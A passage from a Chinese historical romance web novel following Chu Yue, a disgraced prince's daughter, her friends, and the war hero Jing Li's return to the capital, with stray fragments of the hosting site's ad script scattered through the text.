其实他们的日子也没有到过不下去的地步,只是姐弟俩年纪还小,今后要用钱的地方多,就下意识想省下来留作关键的时候用。 厨房门口的竹帘从外面掀开,姜爷爷走进来,拎着从西市买来的几样素菜,显然用来招待客人的。 这一刻,楚悦眼眶不受控制发热。 虽然爹娘不在了,身边一直有这些人在不动声色帮助着自己,真好。 * 用过午饭,孙仲和景萱也该走离开。 尤其是孙仲,替楚昕检查完腿,该教楚昕的也已教完。他虽然对姑娘家有意,姑娘毕竟在孝期,谈那些不合适。 孙仲暗暗下定决心,这时间要勤走动,争取留下个好印象。 和众人告别,孙仲心满意足离开。 讨厌的人走了,景萱也就不再打扰。 楚悦亲自送景萱出门。 往外走的时候,景萱突然好奇:“楚姑娘听说西戎么?” 楚悦当然知道。 她幼时很喜欢缠着爹爹,爹爹就走到哪里都带着她,和幕僚们议事的时候也不避着她,多多少少听爹爹提到过。 大晋与西戎接壤,一直相安无事。 十多年前,大晋出现内乱,西戎以迅雷不及掩耳之势吞并了位于两国之间的卫国,而卫国原本是大晋的附属国。 不仅如此,西戎还趁机进犯大晋,夺取了西北两个州。 当今圣上御极之后,朝局一稳,就派了定国公驱逐西戎,结果却下落不明,两国在卫国那一带一直争执不休。 经过几年休养生息,大晋军力有所增强,这一回大军前往边境,为的就是彻底解决西戎之患。 目前看来,势头不错,前线不断有捷报传来,尤其是景璃带领的前军十分神勇,剑锋所指所向披靡。 楚悦点点头:“听说过。” 景萱悄悄告诉楚悦:“大哥来家书了,说至多还有一年就回来了,不过他让我告诉别人。” 楚悦顿时一阵紧张。 不告诉别人,告诉她做什么。 战场上的事瞬息万变,景璃看上去并非孟浪之人,怎会如此笃定。 景萱一定是因为太激动,才迫不及待找个人分享吧。 该传递的消息已经传完,景萱心满意足离开。 不过,才走出姜家没几步,就看到本该已经离开的孙仲。 他背着药箱,悠闲倚在前方巷口的枣树下,明显在等她。 景萱目不斜视,只当没看见。 孙仲:“……” 脾气够大的,难怪不讨人喜欢,连唯一的朋友也是骗来的。 孙仲走上前:“等等。” 被拦住去路,景萱皱眉,一脸嫌弃的样子。 孙仲:“……” 这是私事,且与楚悦有关,事关女子的清誉,不方便让更多人知晓。 换了一边肩膀背药箱,孙仲直接了当开口:“我有话要和你说,你让他们去前面等一等。” 景萱想了想,有些话在楚悦那里不方便说,大哥还要一年才回来,跟他说清楚也好。 景萱示意兰心和长安去前面的巷子口等。 这里位于延贤坊的西南角,人烟稀少,繁盛葳蕤的枣树下只剩他们二人。 孙仲低头,饶有兴趣打量景萱。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 与楚悦的苗条匀称相比,景萱虽然大两岁,却算得上娇小。 但他想不明白,这样小小一个人,还是公认的害羞胆小的人,怎么有那样大的气性。 对上那双充满敌意的双眼,孙仲满腹疑惑:“我没有得罪过你吧?” 景萱翻了白眼。 孙仲无奈,笑道:“怎么说我与你大哥也是知交,看在你大哥的份上,你至少也告诉我哪里得罪过你,值得你将我当成仇人。” 景萱更觉得这人无耻了。 她还知道是大哥的知交,连朋友妻不可欺的道理都不懂。 景萱抱臂,仰面瞪向孙仲,比划:“等大哥回来,我就劝他离你远点,登徒子。” 登徒子? 孙仲失笑。 反正景萱看出了他的意图,孙仲觉得没有在景萱面前没什么好隐瞒的。 他看着景萱因为生气微微鼓起来的面颊,觉得有趣,反而生出解释的耐心:“窈窕淑女,君子好逑,男子娶亲,为的不就是看着顺眼,相处起来舒心,我看楚姑娘很好,我身为男子,主动些有何可指摘的?” 对上姑娘仿佛要燃起来的眸子,孙仲也好奇:“你是景璃的妹子,我自认也拿你当妹子看待,我并未罪过你,如今我有了心仪的女子,就冲我与你大哥的交情,你不为我高兴反而处处使绊子,这是哪门子道理?” 景萱:“谁是你妹子!” 孙仲笑:“那你告诉我,为何这样讨厌我?” 讨厌? 他还知道自己令人生厌。 景萱并不觉得自己故意针对孙仲,只是世人都被这人清正随和的外表骗了。 景萱:“我没什么可和你说的,总之你不许打楚悦的心思,有我在,就不会让你如愿。” 真是油盐不进。 陪她周旋这么久,孙仲也没有耐心了。 不会说话就是这一点不好,说不通,不能以常理度之。 孙仲无所谓笑笑:“那就走着瞧。” 看着孙仲走远,景萱下定决心,以后一定要来得更勤,不能让孙仲找到机会。 确定孙仲走远了,景萱与在前方等着的兰心和长安汇合。 她让兰心告诉长安:“你去一趟西市,买一套画具给楚姑娘送去。” 长安点头。 兰心接着问:“见到楚姑娘,你知道怎么说么?” 长安:“属下知道。” 世子虽然不说,但他知道,在世子心里楚姑娘有着特殊的份量。 世子出征前那日,突然将他叫到一旁:“你留在京城。” 这与计划完全不一样,长安的心猛地提起来。 他飞速将近年在世子身边的所作所为都想了一遍,实在想不出哪里惹世子厌烦,懊恼请罪:“不知属下所犯何事,请世子明示。” 世子久久没有说话。 长安偷偷抬起头,看见世子的眸中涌着他从未见过的情绪。 “你没犯错,”景璃扶起长安,本就严肃的面上无比郑重,“相反地,你是我最得力的属下,有些事我只放心交给你,等我离开后,你替我守住楚家姐弟,但不要打搅他们,遇事时见楚姑娘如见我,能做到?” 9. 第 9 章 日子一舒心,时间就过得飞快。 看着个头越来越高,且气色明显比之前好的弟弟,楚悦由衷感谢孙仲这一年多的精心调养。 她同样感激景萱,因为景萱从中牵线,她靠画小像攒了足足五十两银子,足够普通的四口之家生活两年。 熙和十七年,三月十七。 到了姐弟俩除服的日子,沐浴更衣完,刚给父母上完香,景萱带着兰心和长安来了,除了点心之外,还有一只包袱。 她拿过兰心手里的包袱:“前一阵布庄来给我做春装,新来的绣娘没有经验,做得大了些,阿悦不嫌弃的话就拿去穿。” 楚悦无奈地笑。 景萱一直这样,担心她不肯收下她的好意,总是以顺便或者不合适的理由送她各种东西。 楚悦比划:“你若再这样说,我就真嫌弃了。” 景萱调皮地吐了吐舌头。 越是与景萱相处,楚悦越是发现景璃说的一点都不对,景萱哪里胆小羞涩了,明明大方又可爱得很。 景萱:“阿悦去试试。” 对于父母的离去,楚悦早就接受了,但今日脱下穿了三年的素服时,还是忍不住哭了一场。 这一回,再也不能以缅怀的名义原地踏步,她得带着弟弟向前走了。 敛起思绪,楚悦大大方方接受景萱的心意,换上了新衣。 景萱送给她的是眼下时兴的襦裙。 上身是浅碧色对襟短衫,外罩大袖纱衣,下身着月白色缠枝纹长裙色,柔软飘逸的披帛一段掖在裙腰里,一段挽在臂间,整个人清纯又动人。 等楚悦从房里走出来,院中众人都齐齐看向楚悦,无不投去惊艳的目光。 “姐姐真好看。” 十四岁的少年已经开始变声,干哑的声嗓里满是自豪。 许久不曾这样穿,楚悦却颇为不自在。 高门里的贵妇与姑娘这样只需考虑漂亮,但毕竟和从前不一样了,若是要做活,其实有些不方便。 不过,今日只会友,其余的就暂时不考虑了。 楚悦走到景萱面前,绽出由衷的笑:“我很喜欢。” 景萱:“你喜欢就好,下次我看到好看的还要送你,可不许推辞。” 她只盼大哥早日凯旋,就算楚家落魄,就冲楚悦的容貌与性子,将来求娶的人必定络绎不绝。 楚悦来不及回绝,原本在另一边喂鸡的姜婆婆不知何时进屋了,回来时手里多了枝葡萄白玉簪。 楚悦惊讶:“这簪子……” 这还是景璃出征那日她在窗台上发现的,那时楚昕生病需要抓药,她不能眼见着坐吃山空,执意将簪子给了姜婆婆,让她拿去当。 姜婆婆笑盈盈拔下楚悦发间的乌木簪,换上了玉簪:“这样更好看。” 楚悦鼻间一阵酸涩,再看向姜婆婆时眼中隐隐有湿意。 姜婆婆冲她慈爱地笑,没多说什么,用布满皱纹的手抚平楚悦微微蹙起的眉心:“傻孩子,有你姜爷爷姜婆婆呢。” 感慨着,门口响起了叩门声。 众人第一时间想到的是孙仲,姜家几乎没有别的客人,除了景萱与孙仲。 但今日是三月十七,并不逢三,孙仲应当在上值。 楚昕自告奋勇去开门。 这院子里不是女子就是老人,这是他身为男子的职责。 长安不动声色跟在他身后。 拔开门栓,楚昕惊喜出声:“孙大哥,你怎么也来了?” 清隽的声音传进来:“怎么,不欢迎我?” 不是生人,院子里的众人松了口气。 楚昕高兴得很:“哪能呢?快请快请。” 孙仲今日没有背药箱,左手提着个漆木食盒,用右手揽住比自己矮不了多少的少年郎往里走:“今日加菜。” 这一年多,孙仲已经留下来吃过好几顿饭,加上他性格随和,不仅姐弟俩和他熟悉了,老两口看到他也很高兴。 将食盒交给楚昕,再和楚悦以及老两口一一打过招呼,孙仲的目光落在景萱身上:“你来得倒是早。” 景萱给了他一个眼神,就当是打过招呼了。 众人习惯了这两人不对付,各忙各的。 自讨没趣,孙仲拿起碟子里的黄豆糕咬了一口,震惊地看向景萱。 景萱目光一沉,怎么不噎死他。 念头闪过,发现自己有些恶毒了。 经过她不懈的努力,加上楚悦的态度明确,孙仲终于认清事实。 既如此,景萱觉得他就应该果断转身,而不是继续在楚悦眼前晃,容易惹人嫌。 * 用过午饭,孙仲带着楚昕去学新的内容,楚悦带着景萱回房。 楚悦将画好的小像交给景萱:“这是最后一张了。” 景萱展开来看。 因为画的是结尾,才子佳人终成眷属,景萱看着画中含笑的两人,替故事里的人高兴。 也只心思细腻的画者,能将两人间的情意含蓄又恰当好处地表现出来。 景萱满意得不得了。 等景萱将小像收起来,楚悦决定告诉景萱她的决定:“今后我恐怕不能再继续给你画小像了。” 景萱不解:“为何?” 起初她只是接济楚悦,并没有想过将她的画随话本刊印,可楚悦画得实在太传神,才不忍埋没。 她们一个出故事,一个画小像,合作的三本话都很受欢迎。 楚悦将打算回霖州的决定告诉景萱。 景萱如遭雷击,楚悦离开了大哥怎么办? 楚悦不知景萱所想,见她哭丧着脸以为她是舍不得自己,楚悦轻轻抱住景萱,告诉她原因。 他们的家不在这里,父母不在了,本就没有留下来的必要,是时候带着老两口与女儿女婿团聚。 但还有些事她不好告诉景萱,爹爹的事似乎已经都过去,只有她一直没忘,就算要给爹爹翻案,也应该去找当初在霖州与爹爹共事的人。 景萱急得不得了:“大军就在返程的路上,能否等大哥回来以后再说?” 捷报满天飞,大军班师回朝消息早就传遍,楚悦当然知道景璃快回来了。 正因为如此,她才要早些离开。 让自己彻底忘记一个人,哪有那么容易啊。 尤其他的妹妹、他的护卫以及他的好友总是出现在她面前。 收起不可向人道的心思,楚悦垂眸,若无其事问景萱:“世子有何吩咐?” 差点说漏嘴,幸好楚悦心思纯净没有多想。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看着一眼楚悦平静的脸,景萱连忙找补:“怎么能说是吩咐,是大哥在信里说了,回来会定要亲自登门,感谢这一段时日你对我的照顾。阿悦你不知道,和你相识我都多庆幸。” 楚悦没想到景萱会突然庆幸与她相识,脸微微红了:“我喜欢你同你来往,又不是冲着世子的感谢,是你本来就很好。” 虽然一开始是因为景璃的嘱托,但后来她是真的很喜欢有景萱这个好友。 真要认真算谁该感激谁,一定是她亏欠得更多些。 景萱当然知道自己很好,但一般人看不到,好不容易有个人不嫌弃她不会说话。 她是真的舍不得楚悦离开:“别着急走嘛。” 既然不能给她想要的答案,楚悦就不想多说徒增伤感,她主动聊起景萱感兴趣的话题:“下个话本你打算让人写什么?” 景萱心中一动,饱含期待看着楚悦:“你帮我画完新话本再走?” 大军已经开拔,完成话本的时间可长可短,顺利的话大哥半个月就能抵达京城。 楚悦苦笑。 景萱知道答案了,突然很伤心。 但她更难过的是,可能是看的话本太多了,她隐约能理解楚悦的心情。 对许多女子而言,能拥有一段旁人看起来不错的婚姻,这一生就好像得到了圆满。 然而楚悦并非那种不顾一切扎入情爱里的女子。 她若只是想通过亲事摆脱如今的处境,就不会对孙仲的示好无动于衷。 大哥那样的,能行么? 若她告诉楚悦大哥倾心于她,会不会令楚悦走得更快? 两人各有心思,很有默契地都没有再提这个话题,送景萱离开的时候,楚悦主动开口:“过几日我有礼物给你。” 景萱好奇:“什么?” 楚悦弯起眼睛笑:“到时你就知道了。” * 从姜家出来,景萱的情绪很低落,恹恹地不想说话。 兰心和长安都看出来了。 但她不想透露,就不可能有人知晓她的心思。 沿着坊墙行了一段,兰心提醒景萱看前方。 景萱抬眸,看到抱臂倚在巷口的枣树下,很显然是在等她。 这个人总是这样,对她有不满或者有什么话不方便在楚悦那里发作时,就在她回去的必经之路上堵她。 兰心用眼神问景萱。 景萱正难受着,没心情和他斗。 淡淡扫孙仲一眼,景萱重新垂下眸子,从孙仲身旁经过,不想搭理他。 孙仲追上来:“怎么回事,看你今日跟霜打的茄子似的。” 景萱没好气瞪他。 孙仲乐了,景璃这妹子和他完全不一样,有什么情绪通通摆在脸上。 看在她情绪也不佳的份上,孙仲拿出十二分耐心:“你说说,说不定我能帮忙。” 景萱摆明不信,用疑惑的眼神看他。 对上姑娘黑白分明的瞳仁,孙仲:“不逗你,说吧。” 反正也没有更好的办法,景萱:“你有没有办法,让阿悦短时间内没法离开京城。” 孙仲恍然,原来她是为楚悦要离开而难过。 正好心中有些疑问,孙仲试探着开口:“你是为景兄留下阿悦吧?” 10. 第 10 章 景萱没想到,孙仲竟然看出来了。 不自在地攥了攥手指,景萱瞪他:“你别胡说。” 孙仲看明白了,笑:“你若想要我帮忙,就说实话。” 景萱犹豫了一瞬,很快做出了选择。 说了极有可能被孙仲嘲笑,不说的话哥哥可能都没有机会见到阿悦,当然是哥哥重要。 景萱豁出去了,将事情都推在自己身上:“是我喜欢阿悦,回京城这么久,只有她不嫌我是个哑巴。刚好大哥也到了娶亲的年纪,比起别的不认识的人,我当然希望她成为我嫂子。” 孙仲一怔。 他不傻,且足够了解景璃。 日子长了,就不难发现景璃对这姐弟俩的关照并非只普通报恩。若只是报恩,他何必让自己的妹妹频频来访,又何必由自己最得力的助手亲自派人暗地里守着这座小小的宅子。 “我帮你就是。” 景萱惊讶地睁大双眼。 她已经做好被孙仲奚落的准备,没想到他不仅没有笑话她自作多情,还同意帮忙。 景萱的心噗通直跳,快速比划:“你真的愿意帮忙?” 目光从姑娘因为惊讶格外明亮的眼睛上掠过,孙仲自嘲,在这姑娘眼里他就这么不可靠。 别开视线:“骗你做什么?” 景萱绽出由衷的笑容。 但看他颇为落寞的表情,景萱笑不出来了。 她发现自己挺残忍的。 孙仲倾慕楚悦无果,自己还在这里让他帮忙撮合意中人与哥哥。 就算知道他这样的落寞不会长久,不久后他又会因别的漂亮姑娘心生爱慕,但这一刻他看着有些可怜。 身边没有动静了,孙仲想起同行的姑娘不会说话。 孙仲抱着双臂,重新看过去,笑了:“同情我?” “怎么会?”景萱满脸真诚,认真比划,“以你的家世才情,必定很快就能遇见既漂亮、相处起来又舒心的女子。” 孙仲没有接话,站直身子理了理衣摆:“不早了,回去吧。” 景萱点头离开,走了几步停下来。 之前斗习惯了,乍然变得有商有量真是别扭。 但别扭归别扭,她还是大步走到孙仲面前,真心实意比了个谢谢的手势。 目送景萱的身影消失在坊墙尽头,孙仲无奈笑笑。 哪有那么多看着顺眼、相处起来又舒心的人,就算有,那个人也不会属于自己。 * 四月初二,王师班师回朝。 朱雀大街两旁,挤满了欢呼的百姓。 百姓不关心国与国之间的博弈,他们只知道将士凯旋意味着赢了,意味着战争结束。家里的男丁可以从战场中回来,留在家中的老弱妇孺不用提心吊胆,也不用一年忙到头挣得的钱银和粮食都变成了税赋。 他们只知道,胜了,就意味着日子会越来越好。 楚悦本不想凑热闹,但拗不过楚昕,只好陪他在大军必经的巷口等。 四年前,爹爹平定百部叛乱,彻底还西南太平,霖州城的百姓都出来相迎,整个霖州的百姓都见证了爹爹的意气风发。 谁又能想到,只是回了趟京城,爹爹再也没能回到霖州。 楚昕爱看热闹,惦着脚看着大军走来的方向:“姐!我看到景大哥了!” 楚悦心情复杂看过去。 按她的计划,这时已经离开京城。 等她和二老商定之后,将离开的日期告诉了孙仲和景萱这两个好友。 但孙仲十分惋惜,说他从祖父那里得到一个良方,可以大幅改善楚昕的体质,只可惜这方子隔七日就等调整一次,前后至少得花一个月。 姜爷爷和姜婆婆听了,当即就决定推迟离开。 楚悦只好同意,但不得不怀疑,真有那么巧的事? 迎面而来的队伍越来越近,能看清队伍前面的将帅了,周围没有规律的欢呼声中渐渐有了针对具体的将领的议论。 楚悦的目光不由自主朝队伍中最显眼的人看过去。 一年多不见,他瘦了些,兜鍪下的面庞经历风水日晒之后变成了小麦色,使得本就冷肃的面容更显得坚毅。 “那个看起来最凶的就是定国公世子吗?好吓人。” “应该就是他了,听说他曾单枪匹马杀入阵中,直取对方将领首级,西戎差点被打得亡国,听说他在战场上有个杀神的外号,是个令西戎人闻风丧胆的存在。” “没事没事,还好咱们也不是他底下的兵,要吓死也是认识他的人先吓死。” 楚悦:“……” 听百姓的口气,他似乎很吓人,那是因为大家不了解他,明明他只是不爱说话,比同龄人看起来威严些罢了,哪里吓人了。 看也看了,楚悦准备离开。 “景大哥!” 楚悦身侧的楚昕却兴奋得不得了,挥舞着手臂对着中间的队伍呼喊起来。 楚悦伸手捂住他的嘴,急忙制止他:“乱喊什么。” 对上姐姐严厉的目光,楚昕想起姐姐之前的提醒。 爹爹的罪名并为摘除,在世人眼里,他们姐弟还是罪臣之后。虽说大家渐渐忘了还有他们姐弟俩存在,与孙仲和景萱来往时也不能声张,指不定哪一天有心人想起他们姐弟,给朋友带去不必要的麻烦。 楚昕不喊了,咧开嘴笑着,和周围的百姓一起,激动地朝大道中央的将士挥手。 转身的瞬间,不知道是不是错觉,他感觉有到锐利的目光朝这边射过来。 她匆忙垂下眸子。 她从景萱的话本里看过,当一个人心里有另一个人的时候,是怎么都藏不住的,尤其是在眼神里。 因为并不奢求结果,所以这件事她自己知晓便可,连他也不能知道。 身后传来议论声。 “啊!他看过来了,吓死我了!” 等队伍经过巷口,楚悦回头,直到那道在视线中若隐若现的身影彻底消失不见。 * 圣上在朝天门接见了凯旋的将士,朝天门只在重大日子才会打开,这是百姓少有的窥见天颜的机会。 队伍走过之后,百姓纷纷走上朱雀大街,浩浩荡荡前往朝天门一睹天颜。 楚悦姐弟没有去凑热闹,相反地,激动过后,心情都有些沉重。 从血缘而言,圣上是他们的堂伯父。 还在封地的时候,爹爹提及圣上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,说的是他们曾经并肩作战,有着过命的交情。但爹爹遭人诬陷,圣上连争辩的机会都不给他,就将他匆匆下狱,连娘亲最后一面都没有见到。 他们只是没有能力去恨,并不代表将所有的事情都忘了。 * 参加完宫里的庆功宴出来,已是深夜。 圣上高兴了,在宴席上格外开恩,让内廷侍卫带着手谕,送家在京城的将官回去与家人团聚。 到达定国公门口,景璃冲护送他回来的两位侍卫点点头:“辛苦二位。” 侍卫连忙说不用。 目送景璃走进国公府,两位侍卫对视一眼,默默舒一口气。 这定国公世子明明比他们还小上几岁,沉稳得却像比寻常将领多活了几十年似的,凌厉的气势让人望而生畏。 不过,近距离相处,发现这位年少成名的世子只是看着冷,并不倨傲,待他们还算客气。 将马匹交给小厮,景璃跟着值夜的管事往里走。 阖府静悄悄地,各院的灯也灭了。 常管家披着外衣,匆匆跑过来解释:“大伙都以为您今夜会在宫中留宿,才没有等您,属下这就去叫人。” 景璃冷冷开口:“不必。” 说完径直朝澹明堂走去。 这里是他的住所,灯还亮着,长安和长青这两个贴身护卫都没有睡,听到动静迎出来。 进城后,长青先一步将景璃的行囊送回来好。 目光落在已经整理好的软甲上,许怀彦让长青去备水。 长安知道,世子这是要问他楚姑娘的事了。 “打伤小世子的人后来又去找过楚姑娘几回,被属下暗中拦下了,但黎公子被书院除名了,不久前回到了京城,目前暂时没有动静。” 景璃眸中闪过一瞬杀意。 离开京城前,他让长安彻查过当初意欲侵犯的楚悦的人,那人是宫中丽贵妃的幼弟。黎昂比她大不了几岁,后来是京城有名的纨绔。 脱下兜鍪交给长安,景璃站到衣架前:“霖州那边查得如何?” 前世,所有人都信了圣上是对湘王网开一面,才没有追究其后人;直到阿悦去世多年,他才无意中得知湘王受贿是诬陷,圣上有意放任栽赃。 他于是在离开京城前派人暗中前往霖州调查,由长安和那人联系联系。 放好兜鍪,长安协助景璃脱下铠甲:“多亏您及时派人前往,证人已经转眼至安全的地方。不过,属下查到了些有关湘王妃的传言。” 湘王妃就是楚悦的母亲。听完,景璃沉默良久:“她是否知情?” 长安斟酌着开口:“楚姑娘应该不知道,据霖州那边的人说,湘王待楚姑娘极为宠爱。” 主仆俩又说了点别的,景萱来了。 长安识趣地退出去,和兰心一起守在门口。 确认彼此都好好的,兄妹俩面对面坐好,景璃看着这个从小就格外依赖自己的堂妹:“不是说了不用等,怎么还不歇息。” 景萱抿了唇笑:“没听到最想听到的消息,我担心大哥睡不着。” “顽皮。” 景璃看似在责备,但小麦色的肤色微微透出一点红,语气一点都不严厉。 11. 第 11 章 因是月初,天上没有月亮,星光零星挂在夜空,有种说不出的冷清。 翻了个身,楚悦睁开眼,从枕下摸出葡萄玉簪。 细腻油润的白玉簪握在手里,自然就给人一种温暖的感觉,和他看起来一点都不像。 知道不该去多想,可楚悦还是忘不了他上战场前说的让她等他,以及白天他离开前回头看的那一眼。 虽然她避开了他的目光,可是心还是会忍不住发烫。 夜色中,楚悦拉起被子盖过头顶。 倘若真如景萱所言,万一真的与他见面,她该怎么办。 * 四月初三,又是孙仲来给楚昕调理身体的日子。 这一年多,除了给楚昕调养,孙仲还给他辅导功课。 只不过他用方式简单又直接,将家塾里夫子让弟弟们读的书照搬来一套,至于楚昕遇到不懂的,他能解释就解释,不会就让楚昕攒着,等有机会找人给他讲解。 得亏楚昕来京城前底子不错,功课勉勉强强没有落下太多。 孙仲还是按平时的时刻出门,辰时一刻,他走近延贤坊。 等走到巷口的枣树下,他停下来。 自那日和她摊开后,她对他的态度变了,不再冷眼看他,两人见面时不用再针锋相对,渐渐地能一起去姜家。 等了约一刻钟,孙仲拿着新带给楚昕的书起身,不再回头看来路的方向。 他心里有所准备,也不是非要等到人不可。 景璃刚回到京城,而他们兄妹俩感情好,景萱必定要陪一陪景璃,今日未必会过来。 抵达姜家,门开着,楚昕满面笑容迎上来。 将书交给楚昕,孙仲就听到一声哀嚎:“啊,又有啊。” 姜婆婆在院子里择菜,姜爷爷在劈柴,看着两人笑。 原本在院子里帮姜婆婆喂鸡的楚悦也看过来,微笑打招呼:“孙大哥。” 孙仲:“我来看看阿昕调理得如何。” 两人进了屋,将簸箕里的菜叶全部倒进鸡笼,楚悦放下簸箕,拿起笤帚开始扫地。 虽说出了孝期,楚悦还是鲜少出门,她只在出孝那天穿了一次景萱送给她的襦裙,为了便于干活,她平日里穿自己缝制的衣裳。 做衣裳的手艺还是这几年和姜婆婆现学的,她用的是棉布料子,虽不华丽,穿着却很舒服。 今日穿的就是一身半旧的杏色短衫,下身着浅碧色百福裙,她没戴玉簪,头上只有一根平淡无奇的乌木簪。 姜婆婆掐着嫩得出水的小葱,再看一眼楚悦因为干活微微泛红的脸,心疼的同时不得不感慨,年轻就是好,就算遇见再大的困难也不耽误生机勃勃地生长。 正感慨着,门口又响起叩门声:“姜爷爷姜婆婆,我家姑娘来看楚姑娘。” 院中的三人俱是一愣,定国公世子不是才回京城,景萱怎么会不去陪家人。 楚悦却不合时宜地想起景萱说的,景璃会来拜访,攥着扫把的手却越攥越紧。 见两位老人都看着自己,又是自己离门口更近,楚悦只好放下扫帚去开门。 深吸一口气,楚悦安慰自己,他那样的忙人,不可能这么有空,一回来就来这里。 楚悦拔开门栓,待看到景萱身边高大的身影,心不由自主噗通跳起来。 景萱笑着和她打招呼:“阿悦。” 虽然只是短短一瞬视线交汇,楚悦能感到那道目光的深邃。 定了定心神,毕竟和景璃没有那么熟悉,楚悦福了福身:“阿萱,世子。” 院子里的老两口也听见景璃来了,放下手中的活计来迎。 景璃本来就生得高大,不知是不是才从战场下来的缘故,老两口觉得世子一回回来比之前不同了,眉眼更加凌厉,身形轮廓也更加冷硬,若说从前只是给人距离感,如今看起来很不好惹。 景萱见和气自如的老两口脸色都变了,看了大哥一眼,暗中叹气,挽着楚悦的胳膊往里走。 身后,听起来低沉却很友善的男声响起:“这一段时间,阿萱在府上,承蒙二老照顾了。” 楚悦:“……” 不知道内情的,只会当姜爷爷姜婆婆为姜家的下人,他怎么对二老这样客气,仿佛他知道在他们姐弟心里早将二老当成了长辈。 楚悦忍不住回头看了一眼,竟然看到了他脸上挂着笑容,只是可能之前没见他笑过,觉得他的笑容不太自然。 景萱只当没看见楚悦看大哥,等她回头时给她解释:“阿悦你知道的,我没有什么朋友,大哥知道你们对我颇为照拂,一定要来亲自谢谢你们。” 真的是这样么?楚悦心里想着,到底谁照拂谁还不一定呢。 那边,姜爷爷已经和景璃寒暄上了:“世子客气了,萱姑娘才是我们的贵人,您来便来,带这些做什么。” 景璃:“第一次上门时就空着手,一直过意不去,多谢二老不介意,总得让我全了礼数。” 他说话音量正常,楚悦听见了,第一次发现,这人竟然也能一口气说这么说话。 屋里的楚昕雨孙仲听到动静也出来了,这俩人都是外向之人,见到景璃都围过去,追着景璃问起来。 两位老人对视一眼,将院子留给几个年轻人,收起斧头和菜篮去厨房里了。 兰心和长安放下礼盒,十分有默契地去帮忙。 这座院子不大,西屋前种了一棵槐树,还是楚悦的母亲亲手种下的,十多年过去,已经能在院中支起一方阴凉。 正是不冷不热时节,见景萱和孙仲会定期前来,姜爷爷利用之前积攒的木料打了一张桌子专门放在树下,众人纷纷落座。 搬来条凳摆好,楚悦将提前准备炸好的果子和景萱带来的点心端出来,再沏上一壶清茶。 楚悦给大伙沏好茶,景萱拉住楚悦:“别忙活了。” 除了楚悦,四人分别占据了方桌的一方,楚悦没有多想,就近和景萱坐同一张条凳。 等坐下来,楚悦不知道是不是错觉,对面的目光就投向了自己。 下意识垂下眼睫,一无所知的楚昕一脸兴奋:“景大哥跟我们说说这次西北之行。” 景璃看向左手边的楚昕,用不疾不徐的声调说起与西戎的战役。 楚悦松了口气。 可能是因为打得胜仗,楚悦没有从他的言语中听到任何凶险,只听到了游刃有余,仿佛那些仗就在他心里,早已打过似的。 楚昕年纪小,没想太多,余下三人却知道没有容易的战争,能想象得到这长达一年多的惊心动魄。 满足完楚昕的好奇心,孙仲才问起:“是否受过伤。” 景璃看向孙仲:“左臂中过一箭,已经好了,所幸有阿昕相赠的软甲,护住了要害部位。” 中过一箭……楚悦的心揪了一下,那得多疼啊。 楚昕没有贪功: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “还是姐姐想得周到,幸好幸好。” 当初受了景大哥的帮助,姐弟俩商量给景大哥备一份谢礼,姐姐听说大军要前往西戎之后,就提议以软甲相赠。 闻言,其余三人都看向楚悦。 楚悦的脸刷地红了。 她提议送软甲的确有私心,可她怎么也没想到楚昕这个缺心眼的会这样说出来。 目光不经意从景璃和楚悦的绯红的面庞上滑过,孙仲似突然想起什么,看向对面的楚昕:“对了,你不是有好些功课不懂,景兄难得过来,何不向他请教。” 别人不了解景璃,他却是清楚的,虽是武将,学问也是极好的。 楚昕心思单纯,对孙仲的话一向深信不疑,因此对景璃更崇拜,两眼放光看向景璃。 景璃看懂孙仲是在替楚悦解围,眸光闪烁了下,配合着点头。 楚昕立即回房里去取书本。 孙仲状若无意看向右手边的两个女子,并不意外看到楚悦羞涩垂眸,意外地是看到景萱唇边两个小小的梨涡,以及她投来的赞赏目光。 只不过当目光撞上景璃的视线时,孙仲突然感觉到一股无形的凉意。 孙仲心中一紧,难道他发现什么了? 楚昕抱着做好标记的书册过来了,楚悦担心他又说出令人尴尬之言,给众人续上茶水,提着茶壶走了。 景萱不爱听那些正经东西,且有意让大哥与楚悦单独相处,就没有往楚悦跟前凑,起身站起来,被院子角落里一群不到拳头大小的小鸡崽吸引。 听了阵,孙仲发现自己对经史子集就是不感兴趣,走到厨房前的柴堆前,拿起斧头劈柴。 拿起一块手臂粗的木头立好,用斧头对准的瞬间正好可以看到墙角拿着菜叶逗小鸡的身影,孙仲垂下眼睫,重重劈下去。 给茶壶里加好热水,楚悦的脸已经彻底不红了。 她安慰自己,就当他是孙仲,以平常心相待,没什么大不了的。 深吸一口气,楚悦提起茶壶走出去。 她意外发现院子里的情形完全变了,桌子前只有景璃和楚昕,孙仲在劈柴,景萱在逗小鸡。 楚昕叹服的声音不绝于耳:“景大哥太厉害了!” 景璃的声音低低沉沉地:“你这样闷头自学并非长久之计,想不想跟着专门的夫子学习。” 楚昕欲言又止。 景璃:“担心你姐姐不同意?” 楚悦心情复杂。 弟弟因为身体原因,没办法像爹爹一样学习武艺带兵打仗,若是从前,就算他什么都不学,只凭爵位就可以衣食无忧。 但如今他们被贬为平民,没有一技之长,若能考得功名,至少有个谋生手段,能安身立命。 可是,京城的夫子哪里好找,尤其他们还有个挥之不去的罪臣之后的身份。 楚悦来到桌前,代弟弟回答:“多谢世子的关心,我们想着,等回到霖州之后正式找家学堂。” 景璃什么也没问,只当不知道她计划离开。 点点头,景璃深深看着姑娘平静的脸:“你的打算是对的,阿昕的底子不错,坚持下去必定能有所作为。 据我所知,朝中已有御史在调查王爷的案子,阿昕若是不嫌弃,这期间可以去国公府的学堂。” 闻言,姐弟俩精神一振,有人重新调查爹爹的案子了? “姐!”楚昕的眼睛亮亮的,“咱们还走吗?” 12. 第 12 章 楚悦满心都是爹爹的案子。 爹爹在封地时为百姓筑堤修桥,待人和气又大方,平地南部的叛乱以后,两地的民众也相处融洽,深受两边的百姓爱戴。 不过是回了趟京城,爹爹却成了朝廷口中的叛臣,连辩驳的机会都没有就被下狱,再也没有回来,朝廷的人说爹爹是自尽。 